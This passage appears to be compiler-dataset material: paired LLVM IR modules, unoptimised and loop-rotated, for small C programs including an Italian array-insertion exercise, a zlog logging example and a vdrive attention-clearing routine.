preds = %29 br label %35 35: ; preds = %._crit_edge, %2 ret void } attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '/tmp/tmpkv4wil3z.c' source_filename = "/tmp/tmpkv4wil3z.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpkv4wil3z.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmp1idn5gst.c' source_filename = "/tmp/tmp1idn5gst.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [22 x i8] c"Inserisci un numero: \00", align 1 @.str.1 = private unnamed_addr constant [3 x i8] c"%d\00", align 1 @.str.2 = private unnamed_addr constant [6 x i8] c"PAUSE\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main() #0 { %1 = alloca i32, align 4 %2 = alloca [10 x i32], align 16 %3 = alloca i32, align 4 %4 = alloca i32, align 4 %5 = alloca i32, align 4 %6 = alloca i32, align 4 %7 = alloca i32, align 4 %8 = alloca i32, align 4 %9 = alloca i32, align 4 store i32 0, ptr %1, align 4 call void @llvm.memset.p0.i64(ptr align 16 %2, i8 0, i64 40, i1 false) %10 = getelementptr inbounds [10 x i32], ptr %2, i32 0, i32 1 store i32 3, ptr %10, align 4 %11 = getelementptr inbounds [10 x i32], ptr %2, i32 0, i32 2 store i32 6, ptr %11, align 8 %12 = getelementptr inbounds [10 x i32], ptr %2, i32 0, i32 3 store i32 8, ptr %12, align 4 %13 = getelementptr inbounds [10 x i32], ptr %2, i32 0, i32 4 store i32 9, ptr %13, align 16 store i32 5, ptr %3, align 4 store i32 10, ptr %4, align 4 %14 = call i32 (ptr, ...) @printf(ptr noundef @.str) %15 = call i32 @scanf(ptr noundef @.str.1, ptr noundef %6) %16 = load i32, ptr %3, align 4 %17 = load i32, ptr %4, align 4 %18 = icmp slt i32 %16, %17 br i1 %18, label %19, label %42 19: ; preds = %0 store i32 0, ptr %8, align 4 store i32 0, ptr %9, align 4 br label %20 20: ; preds = %40, %19 %21 = load i32, ptr %9, align 4 %22 = load i32, ptr %3, align 4 %23 = icmp slt i32 %21, %22 br i1 %23, label %24, label %27 24: ; preds = %20 %25 = load i32, ptr %8, align 4 %26 = icmp eq i32 %25, 0 br label %27 27: ; preds = %24, %20 %28 = phi i1 [ false, %20 ], [ %26, %24 ] br i1 %28, label %29, label %41 29: ; preds = %27 %30 = load i32, ptr %6, align 4 %31 = load i32, ptr %9, align 4 %32 = sext i32 %31 to i64 %33 = getelementptr inbounds [10 x i32], ptr %2, i64 0, i64 %32 %34 = load i32, ptr %33, align 4 %35 = icmp sle i32 %30, %34 br i1 %35, label %36, label %37 36: ; preds = %29 store i32 1, ptr %8, align 4 br label %40 37: ; preds = %29 %38 = load i32, ptr %9, align 4 %39 = add nsw i32 %38, 1 store i32 %39, ptr %9, align 4 br label %40 40: ; preds = %37, %36 br label %20, !llvm.loop !6 41: ; preds = %27 br label %42 42: ; preds = %41, %0 %43 = load i32, ptr %3, align 4 %44 = sub nsw i32 %43, 1 store i32 %44, ptr %5, align 4 br label %45 45: ; preds = %49, %42 %46 = load i32, ptr %5, align 4 %47 = load i32, ptr %9, align 4 %48 = icmp sge i32 %46, %47 br i1 %48, label %49, label %60 49: ; preds = %45 %50 = load i32, ptr %5, align 4 %51 = sext i32 %50 to i64 %52 = getelementptr inbounds [10 x i32], ptr %2, i64 0, i64 %51 %53 = load i32, ptr %52, align 4 %54 = load i32, ptr %5, align 4 %55 = add nsw i32 %54, 1 %56 = sext i32 %55 to i64 %57 = getelementptr inbounds [10 x i32], ptr %2, i64 0, i64 %56 store i32 %53, ptr %57, align 4 %58 = load i32, ptr %5, align 4 %59 = add nsw i32 %58, -1 store i32 %59, ptr %5, align 4 br label %45, !llvm.loop !8 60: ; preds = %45 %61 = load i32, ptr %6, align 4 %62 = load i32, ptr %9, align 4 %63 = sext i32 %62 to i64 %64 = getelementptr inbounds [10 x i32], ptr %2, i64 0, i64 %63 store i32 %61, ptr %64, align 4 %65 = load i32, ptr %3, align 4 %66 = add nsw i32 %65, 1 store i32 %66, ptr %3, align 4 store i32 0, ptr %7, align 4 br label %67 67: ; preds = %77, %60 %68 = load i32, ptr %7, align 4 %69 = load i32, ptr %3, align 4 %70 = icmp slt i32 %68, %69 br i1 %70, label %71, label %80 71: ; preds = %67 %72 = load i32, ptr %7, align 4 %73 = sext i32 %72 to i64 %74 = getelementptr inbounds [10 x i32], ptr %2, i64 0, i64 %73 %75 = load i32, ptr %74, align 4 %76 = call i32 (ptr, ...) @printf(ptr noundef @.str.1, i32 noundef %75) br label %77 77: ; preds = %71 %78 = load i32, ptr %7, align 4 %79 = add nsw i32 %78, 1 store i32 %79, ptr %7, align 4 br label %67, !llvm.loop !9 80: ; preds = %67 %81 = call i32 @system(ptr noundef @.str.2) %82 = load i32, ptr %1, align 4 ret i32 %82 } ; Function Attrs: nocallback nofree nounwind willreturn memory(argmem: write) declare void @llvm.memset.p0.i64(ptr nocapture writeonly, i8, i64, i1 immarg) #1 declare i32 @printf(ptr noundef, ...) #2 declare i32 @scanf(ptr noundef, ptr noundef) #2 declare i32 @system(ptr noundef) #2 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { nocallback nofree nounwind willreturn memory(argmem: write) } attributes #2 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"} !8 = distinct !{!8, !7} !9 = distinct !{!9, !7}
; ModuleID = '<stdin>' source_filename = "/tmp/tmp1idn5gst.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [22 x i8] c"Inserisci un numero: \00", align 1 @.str.1 = private unnamed_addr constant [3 x i8] c"%d\00", align 1 @.str.2 = private unnamed_addr constant [6 x i8] c"PAUSE\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main() #0 { %1 = alloca i32, align 4 %2 = alloca [10 x i32], align 16 %3 = alloca i32, align 4 %4 = alloca i32, align 4 %5 = alloca i32, align 4 %6 = alloca i32, align 4 %7 = alloca i32, align 4 %8 = alloca i32, align 4 %9 = alloca i32, align 4 store i32 0, ptr %1, align 4 call void @llvm.memset.p0.i64(ptr align 16 %2, i8 0, i64 40, i1 false) %10 = getelementptr inbounds [10 x i32], ptr %2, i32 0, i32 1 store i32 3, ptr %10, align 4 %11 = getelementptr inbounds [10 x i32], ptr %2, i32 0, i32 2 store i32 6, ptr %11, align 8 %12 = getelementptr inbounds [10 x i32], ptr %2, i32 0, i32 3 store i32 8, ptr %12, align 4 %13 = getelementptr inbounds [10 x i32], ptr %2, i32 0, i32 4 store i32 9, ptr %13, align 16 store i32 5, ptr %3, align 4 store i32 10, ptr %4, align 4 %14 = call i32 (ptr, ...) @printf(ptr noundef @.str) %15 = call i32 @scanf(ptr noundef @.str.1, ptr noundef %6) %16 = load i32, ptr %3, align 4 %17 = load i32, ptr %4, align 4 %18 = icmp slt i32 %16, %17 br i1 %18, label %19, label %42 19: ; preds = %0 store i32 0, ptr %8, align 4 store i32 0, ptr %9, align 4 br label %20 20: ; preds = %40, %19 %21 = load i32, ptr %9, align 4 %22 = load i32, ptr %3, align 4 %23 = icmp slt i32 %21, %22 br i1 %23, label %24, label %27 24: ; preds = %20 %25 = load i32, ptr %8, align 4 %26 = icmp eq i32 %25, 0 br label %27 27: ; preds = %24, %20 %28 = phi i1 [ false, %20 ], [ %26, %24 ] br i1 %28, label %29, label %41 29: ; preds = %27 %30 = load i32, ptr %6, align 4 %31 = load i32, ptr %9, align 4 %32 = sext i32 %31 to i64 %33 = getelementptr inbounds [10 x i32], ptr %2, i64 0, i64 %32 %34 = load i32, ptr %33, align 4 %35 = icmp sle i32 %30, %34 br i1 %35, label %36, label %37 36: ; preds = %29 store i32 1, ptr %8, align 4 br label %40 37: ; preds = %29 %38 = load i32, ptr %9, align 4 %39 = add nsw i32 %38, 1 store i32 %39, ptr %9, align 4 br label %40 40: ; preds = %37, %36 br label %20, !llvm.loop !6 41: ; preds = %27 br label %42 42: ; preds = %41, %0 %43 = load i32, ptr %3, align 4 %44 = sub nsw i32 %43, 1 store i32 %44, ptr %5, align 4 %45 = load i32, ptr %5, align 4 %46 = load i32, ptr %9, align 4 %47 = icmp sge i32 %45, %46 br i1 %47, label %.lr.ph, label %62 .lr.ph: ; preds = %42 br label %48 48: ; preds = %.lr.ph, %48 %49 = load i32, ptr %5, align 4 %50 = sext i32 %49 to i64 %51 = getelementptr inbounds [10 x i32], ptr %2, i64 0, i64 %50 %52 = load i32, ptr %51, align 4 %53 = load i32, ptr %5, align 4 %54 = add nsw i32 %53, 1 %55 = sext i32 %54 to i64 %56 = getelementptr inbounds [10 x i32], ptr %2, i64 0, i64 %55 store i32 %52, ptr %56, align 4 %57 = load i32, ptr %5, align 4 %58 = add nsw i32 %57, -1 store i32 %58, ptr %5, align 4 %59 = load i32, ptr %5, align 4 %60 = load i32, ptr %9, align 4 %61 = icmp sge i32 %59, %60 br i1 %61, label %48, label %._crit_edge, !llvm.loop !8 ._crit_edge: ; preds = %48 br label %62 62: ; preds = %._crit_edge, %42 %63 = load i32, ptr %6, align 4 %64 = load i32, ptr %9, align 4 %65 = sext i32 %64 to i64 %66 = getelementptr inbounds [10 x i32], ptr %2, i64 0, i64 %65 store i32 %63, ptr %66, align 4 %67 = load i32, ptr %3, align 4 %68 = add nsw i32 %67, 1 store i32 %68, ptr %3, align 4 store i32 0, ptr %7, align 4 %69 = load i32, ptr %7, align 4 %70 = load i32, ptr %3, align 4 %71 = icmp slt i32 %69, %70 br i1 %71, label %.lr.ph2, label %84 .lr.ph2: ; preds = %62 br label %72 72: ; preds = %.lr.ph2, %78 %73 = load i32, ptr %7, align 4 %74 = sext i32 %73 to i64 %75 = getelementptr inbounds [10 x i32], ptr %2, i64 0, i64 %74 %76 = load i32, ptr %75, align 4 %77 = call i32 (ptr, ...) @printf(ptr noundef @.str.1, i32 noundef %76) br label %78 78: ; preds = %72 %79 = load i32, ptr %7, align 4 %80 = add nsw i32 %79, 1 store i32 %80, ptr %7, align 4 %81 = load i32, ptr %7, align 4 %82 = load i32, ptr %3, align 4 %83 = icmp slt i32 %81, %82 br i1 %83, label %72, label %._crit_edge3, !llvm.loop !9 ._crit_edge3: ; preds = %78 br label %84 84: ; preds = %._crit_edge3, %62 %85 = call i32 @system(ptr noundef @.str.2) %86 = load i32, ptr %1, align 4 ret i32 %86 } ; Function Attrs: nocallback nofree nounwind willreturn memory(argmem: write) declare void @llvm.memset.p0.i64(ptr nocapture writeonly, i8, i64, i1 immarg) #1 declare i32 @printf(ptr noundef, ...) #2 declare i32 @scanf(ptr noundef, ptr noundef) #2 declare i32 @system(ptr noundef) #2 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { nocallback nofree nounwind willreturn memory(argmem: write) } attributes #2 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"} !8 = distinct !{!8, !7} !9 = distinct !{!9, !7}
; ModuleID = '/tmp/tmp0e41bpvx.c' source_filename = "/tmp/tmp0e41bpvx.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [29 x i8] c"zlog is initialized (debug)\0A\00", align 1 @.str.1 = private unnamed_addr constant [28 x i8] c"zlog is initialized (info)\0A\00", align 1 @.str.2 = private unnamed_addr constant [16 x i8] c"Command line: \0A\00", align 1 @.str.3 = private unnamed_addr constant [15 x i8] c"argv[%d]: %s \0A\00", align 1 @.str.4 = private unnamed_addr constant [23 x i8] c"(DEBUG) argv[%d]: %s \0A\00", align 1 @.str.5 = private unnamed_addr constant [3 x i8] c"\0A\0A\00", align 1 @.str.6 = private unnamed_addr constant [32 x i8] c"I flush the buffer explicitly.\0A\00", align 1 @.str.7 = private unnamed_addr constant [44 x i8] c"This is just a ## [+] debug message [+] ##\0A\00", align 1 @.str.8 = private unnamed_addr constant [127 x i8] c"/scratch/repos/new/home/jordi_armengol_estape/c-scraper/outputs/2022-01-22/02-19-57/repos/zma/zlog/refs/heads/master/example.c\00", align 1 @.str.9 = private unnamed_addr constant [38 x i8] c"Log with file and line. TIMESTAMPED.\0A\00", align 1 @.str.10 = private unnamed_addr constant [46 x i8] c"(DEBUG) Log with file and line. TIMESTAMPED.\0A\00", align 1 @.str.11 = private unnamed_addr constant [39 x i8] c"Log with file and line. NO TIMESTAMP.\0A\00", align 1 @.str.12 = private unnamed_addr constant [62 x i8] c"FOR TEST: I will sleep for 200 seconds... Please be patient.\0A\00", align 1 @.str.13 = private unnamed_addr constant [19 x i8] c"finish using zlog\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 { %3 = alloca i32, align 4 %4 = alloca i32, align 4 %5 = alloca ptr, align 8 %6 = alloca i32, align 4 store i32 0, ptr %3, align 4 store i32 %0, ptr %4, align 4 store ptr %1, ptr %5, align 8 store i32 0, ptr %6, align 4 %7 = call i32 (...) @zlog_init_stdout() %8 = call i32 (...) @zlog_init_flush_thread() %9 = call i32 @zlogf_time(i32 noundef 1, ptr noundef @.str) %10 = call i32 @zlogf_time(i32 noundef 0, ptr noundef @.str.1) %11 = call i32 (i32, ptr, ...) @zlogf(i32 noundef 0, ptr noundef @.str.2) store i32 0, ptr %6, align 4 br label %12 12: ; preds = %31, %2 %13 = load i32, ptr %6, align 4 %14 = load i32, ptr %4, align 4 %15 = icmp slt i32 %13, %14 br i1 %15, label %16, label %34 16: ; preds = %12 %17 = load i32, ptr %6, align 4 %18 = load ptr, ptr %5, align 8 %19 = load i32, ptr %6, align 4 %20 = sext i32 %19 to i64 %21 = getelementptr inbounds ptr, ptr %18, i64 %20 %22 = load ptr, ptr %21, align 8 %23 = call i32 (i32, ptr, ...) @zlogf(i32 noundef 0, ptr noundef @.str.3, i32 noundef %17, ptr noundef %22) %24 = load i32, ptr %6, align 4 %25 = load ptr, ptr %5, align 8 %26 = load i32, ptr %6, align 4 %27 = sext i32 %26 to i64 %28 = getelementptr inbounds ptr, ptr %25, i64 %27 %29 = load ptr, ptr %28, align 8 %30 = call i32 (i32, ptr, ...) @zlogf(i32 noundef 1, ptr noundef @.str.4, i32 noundef %24, ptr noundef %29) br label %31 31: ; preds = %16 %32 = load i32, ptr %6, align 4 %33 = add nsw i32 %32, 1 store i32 %33, ptr %6, align 4 br label %12, !llvm.loop !6 34: ; preds = %12 %35 = call i32 (i32, ptr, ...) @zlogf(i32 noundef 0, ptr noundef @.str.5) %36 = call i32 @zlogf_time(i32 noundef 0, ptr noundef @.str.6) %37 = call i32 (i32, ptr, ...) @zlogf(i32 noundef 0, ptr noundef @.str.7) %38 = call i32 (...) @zlog_flush_buffer() %39 = call i32 @zlog_time(i32 noundef 0, ptr noundef @.str.8, i32 noundef 50, ptr noundef @.str.9) %40 = call i32 @zlog_time(i32 noundef 1, ptr noundef @.str.8, i32 noundef 51, ptr noundef @.str.10) %41 = call i32 @zlog(i32 noundef 0, ptr noundef @.str.8, i32 noundef 54, ptr noundef @.str.11) %42 = call i32 @printf(ptr noundef @.str.12) %43 = call i32 @sleep(i32 noundef 200) %44 = call i32 @zlogf_time(i32 noundef 0, ptr noundef @.str.13) %45 = call i32 (...) @zlog_finish() ret i32 0 } declare i32 @zlog_init_stdout(...) #1 declare i32 @zlog_init_flush_thread(...) #1 declare i32 @zlogf_time(i32 noundef, ptr noundef) #1 declare i32 @zlogf(i32 noundef, ptr noundef, ...) #1 declare i32 @zlog_flush_buffer(...) #1 declare i32 @zlog_time(i32 noundef, ptr noundef, i32 noundef, ptr noundef) #1 declare i32 @zlog(i32 noundef, ptr noundef, i32 noundef, ptr noundef) #1 declare i32 @printf(ptr noundef) #1 declare i32 @sleep(i32 noundef) #1 declare i32 @zlog_finish(...) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmp0e41bpvx.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [29 x i8] c"zlog is initialized (debug)\0A\00", align 1 @.str.1 = private unnamed_addr constant [28 x i8] c"zlog is initialized (info)\0A\00", align 1 @.str.2 = private unnamed_addr constant [16 x i8] c"Command line: \0A\00", align 1 @.str.3 = private unnamed_addr constant [15 x i8] c"argv[%d]: %s \0A\00", align 1 @.str.4 = private unnamed_addr constant [23 x i8] c"(DEBUG) argv[%d]: %s \0A\00", align 1 @.str.5 = private unnamed_addr constant [3 x i8] c"\0A\0A\00", align 1 @.str.6 = private unnamed_addr constant [32 x i8] c"I flush the buffer explicitly.\0A\00", align 1 @.str.7 = private unnamed_addr constant [44 x i8] c"This is just a ## [+] debug message [+] ##\0A\00", align 1 @.str.8 = private unnamed_addr constant [127 x i8] c"/scratch/repos/new/home/jordi_armengol_estape/c-scraper/outputs/2022-01-22/02-19-57/repos/zma/zlog/refs/heads/master/example.c\00", align 1 @.str.9 = private unnamed_addr constant [38 x i8] c"Log with file and line. TIMESTAMPED.\0A\00", align 1 @.str.10 = private unnamed_addr constant [46 x i8] c"(DEBUG) Log with file and line. TIMESTAMPED.\0A\00", align 1 @.str.11 = private unnamed_addr constant [39 x i8] c"Log with file and line. NO TIMESTAMP.\0A\00", align 1 @.str.12 = private unnamed_addr constant [62 x i8] c"FOR TEST: I will sleep for 200 seconds... Please be patient.\0A\00", align 1 @.str.13 = private unnamed_addr constant [19 x i8] c"finish using zlog\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 { %3 = alloca i32, align 4 %4 = alloca i32, align 4 %5 = alloca ptr, align 8 %6 = alloca i32, align 4 store i32 0, ptr %3, align 4 store i32 %0, ptr %4, align 4 store ptr %1, ptr %5, align 8 store i32 0, ptr %6, align 4 %7 = call i32 (...) @zlog_init_stdout() %8 = call i32 (...) @zlog_init_flush_thread() %9 = call i32 @zlogf_time(i32 noundef 1, ptr noundef @.str) %10 = call i32 @zlogf_time(i32 noundef 0, ptr noundef @.str.1) %11 = call i32 (i32, ptr, ...) @zlogf(i32 noundef 0, ptr noundef @.str.2) store i32 0, ptr %6, align 4 %12 = load i32, ptr %6, align 4 %13 = load i32, ptr %4, align 4 %14 = icmp slt i32 %12, %13 br i1 %14, label %.lr.ph, label %36 .lr.ph: ; preds = %2 br label %15 15: ; preds = %.lr.ph, %30 %16 = load i32, ptr %6, align 4 %17 = load ptr, ptr %5, align 8 %18 = load i32, ptr %6, align 4 %19 = sext i32 %18 to i64 %20 = getelementptr inbounds ptr, ptr %17, i64 %19 %21 = load ptr, ptr %20, align 8 %22 = call i32 (i32, ptr, ...) @zlogf(i32 noundef 0, ptr noundef @.str.3, i32 noundef %16, ptr noundef %21) %23 = load i32, ptr %6, align 4 %24 = load ptr, ptr %5, align 8 %25 = load i32, ptr %6, align 4 %26 = sext i32 %25 to i64 %27 = getelementptr inbounds ptr, ptr %24, i64 %26 %28 = load ptr, ptr %27, align 8 %29 = call i32 (i32, ptr, ...) @zlogf(i32 noundef 1, ptr noundef @.str.4, i32 noundef %23, ptr noundef %28) br label %30 30: ; preds = %15 %31 = load i32, ptr %6, align 4 %32 = add nsw i32 %31, 1 store i32 %32, ptr %6, align 4 %33 = load i32, ptr %6, align 4 %34 = load i32, ptr %4, align 4 %35 = icmp slt i32 %33, %34 br i1 %35, label %15, label %._crit_edge, !llvm.loop !6 ._crit_edge: ; preds = %30 br label %36 36: ; preds = %._crit_edge, %2 %37 = call i32 (i32, ptr, ...) @zlogf(i32 noundef 0, ptr noundef @.str.5) %38 = call i32 @zlogf_time(i32 noundef 0, ptr noundef @.str.6) %39 = call i32 (i32, ptr, ...) @zlogf(i32 noundef 0, ptr noundef @.str.7) %40 = call i32 (...) @zlog_flush_buffer() %41 = call i32 @zlog_time(i32 noundef 0, ptr noundef @.str.8, i32 noundef 50, ptr noundef @.str.9) %42 = call i32 @zlog_time(i32 noundef 1, ptr noundef @.str.8, i32 noundef 51, ptr noundef @.str.10) %43 = call i32 @zlog(i32 noundef 0, ptr noundef @.str.8, i32 noundef 54, ptr noundef @.str.11) %44 = call i32 @printf(ptr noundef @.str.12) %45 = call i32 @sleep(i32 noundef 200) %46 = call i32 @zlogf_time(i32 noundef 0, ptr noundef @.str.13) %47 = call i32 (...) @zlog_finish() ret i32 0 } declare i32 @zlog_init_stdout(...) #1 declare i32 @zlog_init_flush_thread(...) #1 declare i32 @zlogf_time(i32 noundef, ptr noundef) #1 declare i32 @zlogf(i32 noundef, ptr noundef, ...) #1 declare i32 @zlog_flush_buffer(...) #1 declare i32 @zlog_time(i32 noundef, ptr noundef, i32 noundef, ptr noundef) #1 declare i32 @zlog(i32 noundef, ptr noundef, i32 noundef, ptr noundef) #1 declare i32 @printf(ptr noundef) #1 declare i32 @sleep(i32 noundef) #1 declare i32 @zlog_finish(...) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '/tmp/tmp7tlgmas8.c' source_filename = "/tmp/tmp7tlgmas8.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @vdrive_clear_attention() #0 { %1 = call i32 @mem_peek(i32 noundef 56576) %2 = and i32 %1, -9 %3 = call i32 @mem_poke(i32 noundef 56576, i32 noundef %2) ret void } declare i32 @mem_poke(i32 noundef, i32 noundef) #1 declare i32 @mem_peek(i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmp7tlgmas8.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @vdrive_clear_attention() #0 { %1 = call i32 @mem_peek(i32 noundef 56576) %2 = and i32 %1, -9 %3 = call i32 @mem_poke(i32 noundef 56576, i32 noundef %2) ret void } declare i32 @mem_poke(i32 noundef, i32 noundef) #1 declare i32 @mem_peek(i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
